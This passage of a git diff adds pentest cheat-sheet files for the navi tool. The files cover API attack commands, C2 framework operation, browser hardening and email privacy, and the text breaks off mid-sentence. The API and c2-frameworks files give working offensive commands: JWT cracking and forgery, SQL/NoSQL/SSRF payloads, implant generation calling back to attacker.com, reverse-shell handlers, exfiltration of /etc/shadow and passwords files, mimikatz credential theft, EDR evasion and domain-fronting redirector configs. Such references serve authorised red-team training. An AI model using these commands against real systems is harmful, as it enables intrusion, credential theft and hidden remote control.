"https://api.target.com" +$ wordlist: echo "/usr/share/wordlists/parameters.txt" + +# Scan with authentication token +kr scan -w -H "Authorization: Bearer " +$ target_url: echo "https://api.target.com" +$ wordlist: echo "/usr/share/wordlists/api-routes.txt" +$ token: echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." + +# Output results to file +kr scan -w -o +$ target_url: echo "https://api.target.com" +$ wordlist: echo "/usr/share/wordlists/api-routes.txt" +$ output_file: echo "kiterunner-results.txt" + +# ============================================================================ +# JWT_TOOL - JWT Manipulation +# ============================================================================ + +# Decode JWT token +jwt_tool +$ token: echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIn0.dozjgNryP4J3jVmNHl0w5N_XgL0n3I9PlFUP0THsR8U" + +# Crack JWT secret (brute force) +jwt_tool -C -d +$ token: echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." +$ wordlist: echo -e "/usr/share/wordlists/rockyou.txt\n/usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt" + +# Test for algorithm confusion (change alg to "none") +jwt_tool -X a +$ token: echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." + +# Test for key confusion (RS256 → HS256) +jwt_tool -X k -pk +$ token: echo "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9..." +$ public_key_file: echo -e "public.pem\njwks_public.pem" + +# Inject new claims into JWT +jwt_tool -I -pc -pv +$ token: echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." +$ claim_name: echo -e "admin\nrole\nuser_id" +$ claim_value: echo -e "true\nadministrator\n1" + +# Test JWT against target with automated exploits +jwt_tool -t -rh "Authorization: Bearer " -M at +$ token: echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." +$ target_url: echo "https://api.target.com/user/profile" + +# Generate new JWT with custom payload +jwt_tool -S -p -k +$ algorithm: echo -e "hs256\nhs384\nhs512" +$ payload: echo '{"sub":"1234567890","name":"Admin","admin":true}' +$ secret: echo "supersecret" + +# ============================================================================ +# ARJUN - Parameter Discovery +# ============================================================================ + +# Discover hidden GET parameters +arjun -u +$ url: echo -e "https://target.com/api/user\nhttps://api.target.com/endpoint" + +# Discover POST parameters +arjun -u -m POST +$ url: echo "https://target.com/api/login" + +# Use custom wordlist +arjun -u -w +$ url: echo "https://target.com/api/user" +$ wordlist: echo -e "/usr/share/wordlists/params.txt\n/opt/SecLists/Discovery/Web-Content/burp-parameter-names.txt" + +# Scan multiple URLs from file +arjun -i +$ urls_file: echo -e "urls.txt\ntargets.txt" + +# Set custom headers (authentication) +arjun -u -H "Authorization: Bearer " +$ url: echo "https://api.target.com/endpoint" +$ token: echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." + +# Include specific parameters in requests +arjun -u --include +$ url: echo "https://target.com/api/search" +$ params: echo -e "api_key=12345\nuser_id=1" + +# ============================================================================ +# POSTMAN / INSOMNIA - Manual API Testing +# ============================================================================ + +# Export Postman collection +# File → Export → Collection v2.1 → Save as JSON + +# Import OpenAPI/Swagger spec into Postman +# Import → Link/File → Paste Swagger URL or upload swagger.json + +# Test API authentication +# Headers → Add: Authorization: Bearer +# Or: Authorization: Basic + +# Test rate limiting +# Send same request multiple times rapidly +# Check for 429 Too Many Requests response + +# Test IDOR (Insecure Direct Object Reference) +# Change user_id or object_id parameters +# Try accessing other users' resources + +# ============================================================================ +# GRAPHQL TESTING +# ============================================================================ + +# Introspection query (enumerate schema) +curl -X POST \ + -H "Content-Type: application/json" \ + -d '{"query": "{ __schema { types { name fields { name } } } }"}' +$ graphql_endpoint: echo "https://target.com/graphql" + +# Query all users (if introspection reveals "users" query) +curl -X POST \ + -H "Content-Type: application/json" \ + -d '{"query": "{ users { id username email } }"}' +$ graphql_endpoint: echo "https://target.com/graphql" + +# Mutation to create/modify data +curl -X POST \ + -H "Content-Type: application/json" \ + -d '{"query": "mutation { createUser(username: \"attacker\", email: \"attacker@evil.com\") { id } }"}' +$ graphql_endpoint: echo "https://target.com/graphql" + +# GraphQL batching attack (query multiple resources) +curl -X POST \ + -H "Content-Type: application/json" \ + -d '[{"query": "{ user(id: 1) { email } }"}, {"query": "{ user(id: 2) { email } }"}]' +$ graphql_endpoint: echo "https://target.com/graphql" + +# ============================================================================ +# COMMON API VULNERABILITIES +# ============================================================================ + +# IDOR (Insecure Direct Object Reference) +# GET /api/user/123 → Try /api/user/124, /api/user/1, etc. + +# Mass Assignment +# POST /api/user with {"username": "test", "admin": true} + +# Excessive Data Exposure +# GET /api/users returns sensitive fields (passwords, tokens) + +# Lack of Rate Limiting +# Brute force endpoints without throttling + +# Broken Authentication +# Weak JWT secrets, algorithm confusion, no token expiration + +# Injection Flaws +# SQL injection: /api/search?q='; DROP TABLE users;-- +# NoSQL injection: {"username": {"$ne": null}, "password": {"$ne": null}} + +# SSRF (Server-Side Request Forgery) +# POST /api/fetch with {"url": "http://169.254.169.254/latest/meta-data/"} + +# XML External Entity (XXE) +# If API accepts XML: inject + +# ============================================================================ +# FUZZING API ENDPOINTS +# ============================================================================ + +# FFUF for API fuzzing +ffuf -u /FUZZ -w -mc 200,201,204 +$ base_url: echo "https://api.target.com/v1" +$ wordlist: echo "/usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt" + +# Fuzz with HTTP methods +ffuf -u -w -X +$ url: echo "https://api.target.com/endpoint" +$ wordlist: echo "/usr/share/wordlists/params.txt" +$ method: echo -e "POST\nPUT\nDELETE\nPATCH" + +# Fuzz POST data +ffuf -u -w -X POST -d "FUZZ=value" -H "Content-Type: application/json" +$ url: echo "https://api.target.com/login" +$ wordlist: echo "/usr/share/wordlists/params.txt" + +# ============================================================================ +# AUTHENTICATION BYPASS TECHNIQUES +# ============================================================================ + +# JWT "none" algorithm +# Change alg to "none" and remove signature + +# SQL injection in login +# username: admin' OR '1'='1'-- +# password: anything + +# GraphQL authentication bypass +# Query without authentication if introspection is open + +# Parameter pollution +# /api/user?id=1&id=2 (may bypass checks) + +# HTTP verb tampering +# If GET /api/admin blocked, try POST /api/admin + +# ============================================================================ +# RATE LIMIT BYPASS +# ============================================================================ + +# Rotate IP addresses (use proxies) +# Change User-Agent headers +# Add random parameters: ?cache_buster= +# Use X-Forwarded-For header spoofing diff --git a/browser-hardening.cheat b/browser-hardening.cheat new file mode 100644 index 0000000..8df3c66 --- /dev/null +++ b/browser-hardening.cheat @@ -0,0 +1,396 @@ +% browser, firefox, chrome, privacy, hardening, fingerprinting + +# ============================================================================ +# BROWSER SELECTION & INSTALLATION +# ============================================================================ + +# Recommended privacy browsers (in order) +# 1. LibreWolf (Firefox fork, privacy-hardened by default) +# 2. Mullvad Browser (Tor Browser without Tor network) +# 3. Firefox (with manual hardening) +# 4. Brave (Chromium-based alternative) + +# Install LibreWolf (Debian/Ubuntu) +sudo apt install extrepo +sudo extrepo enable librewolf +sudo apt update && sudo apt install librewolf + +# Install Firefox from Mozilla (not Snap) +sudo add-apt-repository ppa:mozillateam/ppa +sudo apt update && sudo apt install firefox + +# Install Brave +sudo curl -fsSLo /usr/share/keyrings/brave-browser-archive-keyring.gpg https://brave-browser-apt-release.s3.brave.com/brave-browser-archive-keyring.gpg +echo "deb [signed-by=/usr/share/keyrings/brave-browser-archive-keyring.gpg] https://brave-browser-apt-release.s3.brave.com/ stable main" | sudo tee /etc/apt/sources.list.d/brave-browser-release.list +sudo apt update && sudo apt install brave-browser + +# Install Mullvad Browser +wget --content-disposition https://mullvad.net/en/download/browser/linux-x86_64/latest + +# ============================================================================ +# FIREFOX HARDENING (about:config) +# ============================================================================ + +# Access Firefox config +# Type in address bar: about:config + +# Privacy settings (search and set these) +privacy.resistFingerprinting = true +privacy.trackingprotection.enabled = true +privacy.trackingprotection.socialtracking.enabled = true +privacy.firstparty.isolate = true +privacy.donottrackheader.enabled = true + +# DNS over HTTPS (DoH) +network.trr.mode = 2 +network.trr.uri = https://mozilla.cloudflare-dns.com/dns-query + +# WebRTC IP leak prevention +media.peerconnection.enabled = false +media.peerconnection.ice.default_address_only = true + +# Disable telemetry +toolkit.telemetry.enabled = false +toolkit.telemetry.unified = false +datareporting.healthreport.uploadEnabled = false +datareporting.policy.dataSubmissionEnabled = false + +# Disable Pocket +extensions.pocket.enabled = false + +# Disable prefetching +network.dns.disablePrefetch = true +network.prefetch-next = false + +# HTTPS-only mode +dom.security.https_only_mode = true +dom.security.https_only_mode_ever_enabled = true + +# Disable geolocation +geo.enabled = false + +# Disable WebGL (fingerprinting vector) +webgl.disabled = true + +# Disable canvas fingerprinting +privacy.resistFingerprinting.block_mozAddonManager = true + +# ============================================================================ +# FIREFOX EXTENSIONS (ESSENTIAL) +# ============================================================================ + +# uBlock Origin (ad/tracker blocking) +# Install: https://addons.mozilla.org/firefox/addon/ublock-origin/ + +# Privacy Badger (EFF tracker blocker) +# Install: https://addons.mozilla.org/firefox/addon/privacy-badger17/ + +# HTTPS Everywhere (force HTTPS) +# Install: https://addons.mozilla.org/firefox/addon/https-everywhere/ + +# Decentraleyes (local CDN emulation) +# Install: https://addons.mozilla.org/firefox/addon/decentraleyes/ + +# NoScript (JavaScript control) +# Install: https://addons.mozilla.org/firefox/addon/noscript/ + +# ClearURLs (remove tracking parameters) +# Install: https://addons.mozilla.org/firefox/addon/clearurls/ + +# Cookie AutoDelete (auto-delete cookies) +# Install: https://addons.mozilla.org/firefox/addon/cookie-autodelete/ + +# Temporary Containers (isolate sites) +# Install: https://addons.mozilla.org/firefox/addon/temporary-containers/ + +# ============================================================================ +# FIREFOX ADVANCED HARDENING +# ============================================================================ + +# User.js hardening (arkenfox template) +cd ~/.mozilla/firefox/*.default-release/ +wget https://raw.githubusercontent.com/arkenfox/user.js/master/user.js + +# Customize user.js overrides +# Create user-overrides.js for site-specific settings + +# Apply updates to user.js +cd ~/.mozilla/firefox/*.default-release/ +wget https://raw.githubusercontent.com/arkenfox/user.js/master/updater.sh +bash updater.sh + +# ============================================================================ +# CHROMIUM/BRAVE HARDENING +# ============================================================================ + +# Chrome/Brave flags (chrome://flags) +# Enable: Strict site isolation +# Enable: Block third-party cookies +# Disable: WebRTC IP handling + +# Brave Shield settings +# Settings → Shields → Trackers & ads blocking: Aggressive +# Settings → Shields → Block fingerprinting: Strict +# Settings → Shields → Block cookies: Block third-party cookies + +# Chrome extensions (same as Firefox) +# uBlock Origin, Privacy Badger, HTTPS Everywhere, Decentraleyes + +# ============================================================================ +# SEARCH ENGINE CONFIGURATION +# ============================================================================ + +# Privacy-respecting search engines +# DuckDuckGo: https://duckduckgo.com +# Startpage: https://startpage.com +# Searx instances: https://searx.space +# Brave Search: https://search.brave.com + +# Set custom search engine in Firefox +# Settings → Search → Default Search Engine + +# Add Searx instance +# Settings → Search → Find More Search Engines → Add manually + +# ============================================================================ +# FINGERPRINTING TESTS +# ============================================================================ + +# Test browser fingerprint uniqueness +# Cover Your Tracks (EFF): https://coveryourtracks.eff.org/ +# AmIUnique: https://amiunique.org/ +# BrowserLeaks: https://browserleaks.com/ + +# Test WebRTC leak +# WebRTC Leak Test: https://browserleaks.com/webrtc + +# Test DNS leak +# DNS Leak Test: https://dnsleaktest.com/ + +# ============================================================================ +# PRIVACY-FOCUSED PROFILES +# ============================================================================ + +# Firefox Multi-Account Containers +# Install: https://addons.mozilla.org/firefox/addon/multi-account-containers/ + +# Create separate profiles for different activities +# Personal, Work, Shopping, Banking, Anonymous + +# Firefox profile manager +firefox -ProfileManager + +# Launch with specific profile +firefox -P "ProfileName" + +# ============================================================================ +# COOKIE & STORAGE MANAGEMENT +# ============================================================================ + +# Cookie settings (Firefox) +# Settings → Privacy & Security → Cookies and Site Data +# Delete cookies and site data when Firefox is closed + +# Clear history on exit +# Settings → Privacy & Security → History → Clear history when Firefox closes +# Select: Browsing & download history, Cookies, Cache, Active logins + +# Storage inspection (Firefox) +# about:preferences#privacy → Cookies and Site Data → Manage Data + +# Clear all data +# CTRL+SHIFT+DEL → Select "Everything" → Clear Now + +# ============================================================================ +# USER-AGENT SPOOFING +# ============================================================================ + +# User-Agent Switcher extension +# Install: https://addons.mozilla.org/firefox/addon/uaswitcher/ + +# Common user agents to rotate +Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 + +# ============================================================================ +# SAFE BROWSING PRACTICES +# ============================================================================ + +# Always use HTTPS (check for padlock) +# Verify SSL certificates (click padlock → Connection is secure) +# Check URL for typos (phishing prevention) +# Never save passwords in browser (use password manager) +# Use separate browser for banking/sensitive accounts +# Never use public WiFi without VPN +# Clear cookies/cache regularly +# Disable auto-fill for forms +# Review browser permissions regularly (camera, mic, location) + +# ============================================================================ +# DISABLING BROWSER TELEMETRY +# ============================================================================ + +# Firefox telemetry (about:config) +toolkit.telemetry.enabled = false +toolkit.telemetry.unified = false +toolkit.telemetry.archive.enabled = false +datareporting.healthreport.uploadEnabled = false +datareporting.policy.dataSubmissionEnabled = false +browser.newtabpage.activity-stream.feeds.telemetry = false +browser.ping-centre.telemetry = false + +# Brave telemetry +# Settings → Privacy and security → Usage data → Disable all + +# Chrome telemetry +# Settings → Privacy and security → Sync and Google services → Disable all + +# ============================================================================ +# CONTAINER ISOLATION (FIREFOX) +# ============================================================================ + +# Enable First Party Isolation +privacy.firstparty.isolate = true + +# Use Multi-Account Containers +# Separate: Shopping, Social Media, Banking, Work, Personal + +# Configure container rules +# Assign domains to always open in specific containers +# Example: facebook.com → Social Media container + +# Temporary Containers (auto-delete) +# Every new tab in isolated container +# Cookies/storage deleted on tab close + +# ============================================================================ +# PDF VIEWER HARDENING +# ============================================================================ + +# Disable JavaScript in PDF viewer (Firefox) +pdfjs.enableScripting = false + +# Use external PDF viewer (more secure) +# Settings → Applications → PDF → Use system default + +# Alternative: Send to external viewer +xdg-mime default evince.desktop application/pdf + +# ============================================================================ +# ADDITIONAL SECURITY MEASURES +# ============================================================================ + +# Disable WebAssembly (potential exploit vector) +javascript.options.wasm = false + +# Disable WebGL (fingerprinting + GPU exploits) +webgl.disabled = true + +# Disable battery status API (tracking) +dom.battery.enabled = false + +# Disable gamepad API (fingerprinting) +dom.gamepad.enabled = false + +# Disable clipboard API access +dom.event.clipboardevents.enabled = false + +# ============================================================================ +# SECURE BROWSER PROFILES +# ============================================================================ + +# Banking Profile (maximum security) +# - No extensions (except HTTPS Everywhere) +# - JavaScript required (for banking sites) +# - Cookies allowed for session only +# - Never save passwords +# - Clear all data on exit + +# Anonymous Profile (maximum privacy) +# - Tor Browser or Mullvad Browser +# - NoScript enabled (block all JS by default) +# - No cookies +# - No WebRTC +# - Resist fingerprinting + +# Daily Driver Profile (balanced) +# - uBlock Origin, Privacy Badger, Decentraleyes +# - Cookie AutoDelete +# - HTTPS-only mode +# - DoH enabled + +# ============================================================================ +# BROWSER UPDATE POLICY +# ============================================================================ + +# Always keep browser updated (critical security patches) +# Enable automatic updates + +# Firefox updates +# Settings → General → Firefox Updates → Automatically install updates + +# Check current version +firefox --version + +# Manual update check +# Settings → Help → About Firefox + +# ============================================================================ +# CONTENT BLOCKING LISTS +# ============================================================================ + +# uBlock Origin filter lists +# Enable: Built-in, EasyList, EasyPrivacy, Malware domains, Annoyances + +# Additional lists +# - Dan Pollock's hosts file +# - Peter Lowe's Ad server list +# - AdGuard filters + +# Update filters regularly +# uBlock Origin dashboard → Filter lists → Update now + +# ============================================================================ +# TESTING HARDENING EFFECTIVENESS +# ============================================================================ + +# Browser fingerprinting test +https://coveryourtracks.eff.org/ + +# DNS leak test +https://dnsleaktest.com/ + +# WebRTC leak test +https://browserleaks.com/webrtc + +# IP leak test (when using VPN) +https://ipleak.net/ + +# SSL/TLS test +https://www.ssllabs.com/ssltest/viewMyClient.html + +# Check enabled features +https://browserleaks.com/javascript + +# ============================================================================ +# TROUBLESHOOTING +# ============================================================================ + +# Site broken after hardening +# Disable privacy.resistFingerprinting temporarily +# Allow JavaScript for specific site (NoScript) +# Allow third-party cookies for specific site + +# Can't login to sites +# Check if cookies are blocked +# Disable tracking protection for specific site +# Allow localStorage + +# Videos won't play +# Re-enable WebGL temporarily +# Allow DRM content (Settings → Privacy → DRM Content) + +# Reset Firefox to defaults (if needed) +# about:support → Refresh Firefox + diff --git a/c2-frameworks.cheat b/c2-frameworks.cheat new file mode 100644 index 0000000..3669611 --- /dev/null +++ b/c2-frameworks.cheat @@ -0,0 +1,278 @@ +% c2, command-and-control, post-exploitation + +# ============================================================================ +# SLIVER C2 Framework +# ============================================================================ + +# Start Sliver server +sliver-server + +# Start Sliver client +sliver + +# Generate Windows implant +generate --http --save --os windows --arch amd64 +$ callback_url: echo -e "http://192.168.1.50:443\nhttps://attacker.com" +$ output_file: echo -e "/tmp/agent.exe\n/tmp/implant.exe" + +# Generate Linux implant +generate --http --save --os linux --arch amd64 +$ callback_url: echo "http://192.168.1.50:443" +$ output_file: echo "/tmp/agent" + +# Start HTTP listener +http --lport +$ port: echo -e "443\n8080\n80" + +# Start HTTPS listener +https --lport --cert --key +$ port: echo -e "443\n8443" +$ cert_file: echo "server.crt" +$ key_file: echo "server.key" + +# List active sessions +sessions + +# Interact with session +use +$ session_id: echo -e "1\n2\n3" + +# Execute command on target +shell +$ command: echo -e "whoami\nipconfig\nps" + +# Upload file to target +upload +$ local_file: echo -e "/tmp/payload.exe\n/opt/tools/script.ps1" +$ remote_path: echo -e "C:\\Windows\\Temp\\payload.exe\n/tmp/script.sh" + +# Download file from target +download +$ remote_path: echo -e "C:\\Users\\victim\\Desktop\\passwords.txt\n/etc/shadow" +$ local_file: echo "/tmp/downloaded.txt" + +# ============================================================================ +# HAVOC C2 Framework +# ============================================================================ + +# Start Havoc teamserver +./havoc server --profile +$ profile_name: echo -e "default\ncustom" + +# Start Havoc client +./havoc client + +# Create listener +listener add --name --port +$ listener_name: echo -e "http-listener\nhttps-listener" +$ port: echo -e "80\n443\n8080" + +# Generate payload +payload generate --listener --format --output +$ listener_name: echo "http-listener" +$ format: echo -e "exe\nshellcode\npowershell" +$ output_file: echo -e "/tmp/agent.exe\n/tmp/payload.bin" + +# Interact with demon (agent) +demon interact +$ demon_id: echo -e "1\n2\n3" + +# Execute command +demon shell +$ command: echo -e "whoami\nnet user\nipconfig" + +# ============================================================================ +# COVENANT C2 Framework (.NET) +# ============================================================================ + +# Start Covenant server +dotnet run --project /opt/Covenant/Covenant + +# Access web interface +# Browse to: https://localhost:7443 + +# Create HTTP listener (via web UI) +# Listeners → Create → HTTP + +# Generate Grunt (agent) stager +# Launchers → Binary → Generate + +# Interact with Grunt +# Grunts → Select Grunt → Interact + +# Execute command (in Grunt console) +Shell +$ command: echo -e "whoami\nnet user\nipconfig" + +# Upload file +Upload +$ local_file: echo "/tmp/payload.exe" + +# Download file +Download +$ remote_path: echo "C:\\Users\\victim\\Documents\\sensitive.docx" + +# ============================================================================ +# METASPLOIT FRAMEWORK (C2 Mode) +# ============================================================================ + +# Start Metasploit console +msfconsole + +# Use multi/handler for catching reverse shells +use exploit/multi/handler + +# Set payload +set payload +$ payload_type: echo -e "windows/meterpreter/reverse_tcp\nlinux/x64/meterpreter/reverse_tcp\nwindows/x64/meterpreter/reverse_https" + +# Set LHOST and LPORT +set LHOST +set LPORT +$ attacker_ip: echo -e "192.168.1.50\n10.0.0.50" +$ port: echo -e "4444\n443\n8080" + +# Run handler +exploit -j + +# List active sessions +sessions -l + +# Interact with session +sessions -i +$ session_id: echo -e "1\n2\n3" + +# Background session +background + +# Generate standalone payload +msfvenom -p LHOST= LPORT= -f -o +$ payload: echo -e "windows/meterpreter/reverse_tcp\nlinux/x64/shell_reverse_tcp" +$ ip: echo "192.168.1.50" +$ port: echo -e "4444\n443" +$ format: echo -e "exe\nelf\npsh" +$ output: echo -e "/tmp/payload.exe\n/tmp/shell.elf" + +# ============================================================================ +# MYTHIC C2 Framework +# ============================================================================ + +# Start Mythic server +./mythic-cli start + +# Access web interface +# Browse to: https://127.0.0.1:7443 + +# Install agent (Athena, Apollo, Apfell, etc.) +./mythic-cli install github +$ agent_repo_url: echo -e "https://github.com/MythicAgents/Apollo\nhttps://github.com/MythicAgents/Athena" + +# Create payload profile (via web UI) +# Payloads → Generate New Payload → Select Agent → Configure + +# Start HTTP profile +# C2 Profiles → HTTP → Start + +# Interact with callback +# Active Callbacks → Select Callback → Task + +# Execute command +shell +$ command: echo -e "whoami\nps\nls" + +# Upload file +upload +$ local_file: echo "/tmp/payload.exe" + +# Download file +download +$ remote_path: echo "C:\\Users\\victim\\Desktop\\passwords.txt" + +# ============================================================================ +# POWERSHELL EMPIRE / STARKILLER +# ============================================================================ + +# Start Empire server +./empire --rest + +# Start Starkiller UI +starkiller + +# Create listener (via CLI) +listeners +uselistener http +set Host +set Port +execute +$ callback_url: echo -e "http://192.168.1.50\nhttp://attacker.com" +$ port: echo -e "80\n443\n8080" + +# Generate stager +usestager +set Listener +execute +$ stager_type: echo -e "multi/launcher\nwindows/launcher_bat\nwindows/macro" +$ listener_name: echo "http" + +# Interact with agent +agents +interact +$ agent_name: echo -e "AGENT1\nLKJHGFD" + +# Execute command +shell +$ command: echo -e "whoami\nnet user\nipconfig" + +# Use module +usemodule +$ module_path: echo -e "powershell/collection/screenshot\npowershell/credentials/mimikatz/logonpasswords" + +# ============================================================================ +# C2 BEST PRACTICES +# ============================================================================ + +# Use encrypted HTTPS channels +# Callback over common ports (80, 443, 8080) +# Implement jitter and sleep intervals +# Use domain fronting when possible +# Rotate infrastructure regularly +# Use redirectors (Apache mod_rewrite, Nginx reverse proxy) +# Implement killdate/killswitch in agents +# Use process injection and PPID spoofing +# Avoid triggering AV/EDR signatures + +# ============================================================================ +# INFRASTRUCTURE SETUP +# ============================================================================ + +# Apache mod_rewrite redirector for domain fronting + + ServerName legit-domain.com + SSLEngine On + SSLProxyEngine On + SSLCertificateFile /path/to/cert.crt + SSLCertificateKeyFile /path/to/private.key + + RewriteEngine On + RewriteCond %{REQUEST_URI} ^/valid-uri-path/.*$ + RewriteRule ^.*$ https://actual-c2-server.com%{REQUEST_URI} [P,L] + + RewriteRule ^.*$ https://benign-site.com%{REQUEST_URI} [P,L] + + +# Nginx reverse proxy redirector +server { + listen 443 ssl; + server_name legit-domain.com; + + ssl_certificate /path/to/cert.crt; + ssl_certificate_key /path/to/private.key; + + location /valid-uri-path/ { + proxy_pass https://actual-c2-server.com; + } + + location / { + proxy_pass https://benign-site.com; + } +} diff --git a/email-privacy.cheat b/email-privacy.cheat new file mode 100644 index 0000000..6761034 --- /dev/null +++ b/email-privacy.cheat @@ -0,0 +1,523 @@ +% email, privacy, protonmail, tutanota, pgp, encryption + +# ============================================================================ +# EMAIL PRIVACY OVERVIEW +# ============================================================================ + +# Email privacy challenges +# - Metadata always visible (sender, recipient, timestamp, IP) +# - Content readable by email provider (unless E2EE) +# - Subject lines never encrypted +# - Forwarding/CC/BCC creates multiple copies +# - Email headers reveal technical information + +# Privacy hierarchy (best to worst) +# 1. Self-hosted encrypted email (high effort) +# 2. ProtonMail / Tutanota (E2EE, Switzerland/Germany) +# 3. Mailfence (Belgian, PGP support) +# 4. FastMail (Australian, privacy-focused but not E2EE) +# 5. Gmail / Outlook (convenient, zero privacy) + +# ============================================================================ +# PROTONMAIL (END-TO-END ENCRYPTED EMAIL) +# ============================================================================ + +# ProtonMail features +# - Zero-access encryption (provider can't read emails) +# - Swiss jurisdiction (strong privacy laws) +# - Open source clients +# - Tor onion service available +# - No logging of IP addresses (with some caveats) + +# Sign up for ProtonMail +# https://proton.me/mail + +# Free tier limits +# - 500 MB storage +# - 150 messages per day +# - 1 email address +# - Limited support + +# Paid tier benefits +# - More storage (15 GB - 500 GB) +# - Custom domains +# - Multiple addresses +# - ProtonVPN included (Plus and higher) + +# ProtonMail encryption +# ProtonMail ↔ ProtonMail: Automatic E2EE +# ProtonMail ↔ Other: Optional password-protected encryption + +# Send encrypted email to non-ProtonMail user +# Compose → Lock icon → Set password → Share password separately + +# ProtonMail Bridge (desktop email client) +# Allows using ProtonMail with Thunderbird, Apple Mail, Outlook +# https://proton.me/mail/bridge + +# Install ProtonMail Bridge (Linux) +wget https://proton.me/download/bridge/protonmail-bridge_amd64.deb +sudo dpkg -i protonmail-bridge_amd64.deb + +# Configure Thunderbird with Bridge +# Bridge → Add account → Copy IMAP/SMTP settings → Add to Thunderbird + +# ============================================================================ +# TUTANOTA (GERMAN E2EE EMAIL) +# ============================================================================ + +# Tutanota features +# - End-to-end encryption (email + subject line + contacts) +# - German jurisdiction (GDPR compliance) +# - Open source +# - No third-party trackers +# - Encrypted calendar included + +# Sign up for Tutanota +# https://tutanota.com/ + +# Free tier +# - 1 GB storage +# - 1 email address +# - 48-hour support response + +# Paid tier benefits +# - More storage (20 GB - 1 TB) +# - Custom domains +# - Aliases (up to 100) +# - Faster support + +# Tutanota encryption +# Tutanota ↔ Tutanota: Automatic E2EE (subject included) +# Tutanota ↔ Other: Optional password-protected E2EE + +# Tutanota desktop app +# Download: https://tutanota.com/download/ + +# ============================================================================ +# EMAIL ALIASING (HIDE REAL ADDRESS) +# ============================================================================ + +# Email alias services +# Protect primary email, prevent tracking, reduce spam + +# SimpleLogin (recommended) +# https://simplelogin.io/ +# - Unlimited aliases (Premium) +# - Reply from alias +# - PGP support +# - Open source + +# Sign up for SimpleLogin +# https://simplelogin.io/ + +# Create alias +# Dashboard → New alias → Enter name → Create + +# AnonAddy (alternative) +# https://anonaddy.com/ +# - Similar to SimpleLogin +# - Self-hostable + +# Firefox Relay (Mozilla) +# https://relay.firefox.com/ +# - Free tier: 5 aliases +# - Premium: Unlimited aliases + +# Apple Hide My Email (iOS/macOS) +# Settings → iCloud → Hide My Email +# Generates random addresses that forward to real email + +# DuckDuckGo Email Protection +# https://duckduckgo.com/email/ +# - Free +# - Removes trackers from emails + +# ============================================================================ +# PGP/GPG EMAIL ENCRYPTION +# ============================================================================ + +# PGP/GPG for any email provider +# See gpg.cheat for full key management guide + +# Generate PGP key +gpg --full-generate-key + +# Export public key (share with contacts) +gpg --armor --export > publickey.asc +$ your_email: echo "you@example.com" + +# Import contact's public key +gpg --import +$ contact_publickey.asc: echo "friend_key.asc" + +# Encrypt email message +echo "Secret message" | gpg --encrypt --armor --recipient > encrypted.asc +$ contact_email: echo "friend@example.com" + +# Decrypt received email +gpg --decrypt encrypted_email.asc + +# ============================================================================ +# THUNDERBIRD WITH PGP (ENIGMAIL/OPENPGP) +# ============================================================================ + +# Install Thunderbird +sudo apt install thunderbird + +# Built-in OpenPGP support (Thunderbird 78+) +# No Enigmail extension needed + +# Generate key in Thunderbird +# Account Settings → End-To-End Encryption → Add Key +# Generate new key + +# Import existing PGP key +# Account Settings → End-To-End Encryption → Add Key +# Import key from file + +# Send encrypted email +# Compose → Options → Encrypt message +# Select recipient's public key + +# Sign email +# Compose → Options → Digitally sign message + +# ============================================================================ +# MAILFENCE (PGP-COMPATIBLE SECURE EMAIL) +# ============================================================================ + +# Mailfence features +# - Belgian jurisdiction (privacy-friendly) +# - Built-in PGP support +# - Digital signatures +# - No ads +# - 2FA support + +# Sign up for Mailfence +# https://mailfence.com/ + +# Mailfence pricing +# Free: 500 MB storage +# Entry ($2.50/mo): 5 GB storage, custom domain +# Pro ($7.50/mo): 20 GB, advanced features + +# Import PGP key to Mailfence +# Settings → Security → Encryption → Import key + +# Send encrypted email +# Compose → Encrypt (lock icon) → Send + +# ============================================================================ +# TEMPORARY/DISPOSABLE EMAIL +# ============================================================================ + +# Use for signups, one-time registrations + +# 10 Minute Mail +# https://10minutemail.com/ +# Temporary email (10 minutes, extendable) + +# Guerrilla Mail +# https://www.guerrillamail.com/ +# Disposable email, can send/receive + +# Temp Mail +# https://temp-mail.org/ +# Random temporary address + +# Burner Mail +# https://burnermail.io/ +# Create disposable forwarding addresses + +# ============================================================================ +# EMAIL HEADER ANALYSIS (PRIVACY LEAKS) +# ============================================================================ + +# Email headers reveal +# - Originating IP address +# - Email client software +# - Mail server path +# - Timestamps + +# View email headers (Thunderbird) +# Open email → More → View Source + +# View email headers (Gmail web) +# Open email → Three dots → Show original + +# Common header fields +# From: Sender address +# To: Recipient address +# Subject: Email subject (never encrypted) +# Date: Timestamp +# Received: Mail server path (contains IP addresses) +# X-Originating-IP: Sender's IP address + +# Analyze headers for privacy leaks +# Look for: Real IP, location data, identifying info + +# Strip revealing headers (when forwarding) +# Use email provider's privacy features +# Or: Copy content to new email (don't forward) + +# ============================================================================ +# EMAIL TRACKER BLOCKING +# ============================================================================ + +# Email tracking pixels +# Invisible 1x1 pixel images embedded in emails +# Reports when email opened, device type, location + +# Blocking trackers (Thunderbird) +# Preferences → Privacy → Mail Content → Block remote content + +# DuckDuckGo Email Protection +# Automatically removes trackers from emails +# https://duckduckgo.com/email/ + +# Hey.com (tracker blocking built-in) +# https://www.hey.com/ +# $99/year, strong privacy features + +# ============================================================================ +# EMAIL PROVIDER COMPARISON +# ============================================================================ + +# ProtonMail +# Pros: E2EE, Swiss privacy, Tor support, open source +# Cons: Web only (unless Bridge), Bridge requires paid account +# Cost: Free tier available, paid from $4/mo + +# Tutanota +# Pros: E2EE (including subject), German privacy, open source +# Cons: Less integration with other apps, custom protocol +# Cost: Free tier available, paid from €1/mo + +# Mailfence +# Pros: Standard protocols (IMAP/SMTP), PGP support, Belgian privacy +# Cons: Not zero-knowledge (provider can access if 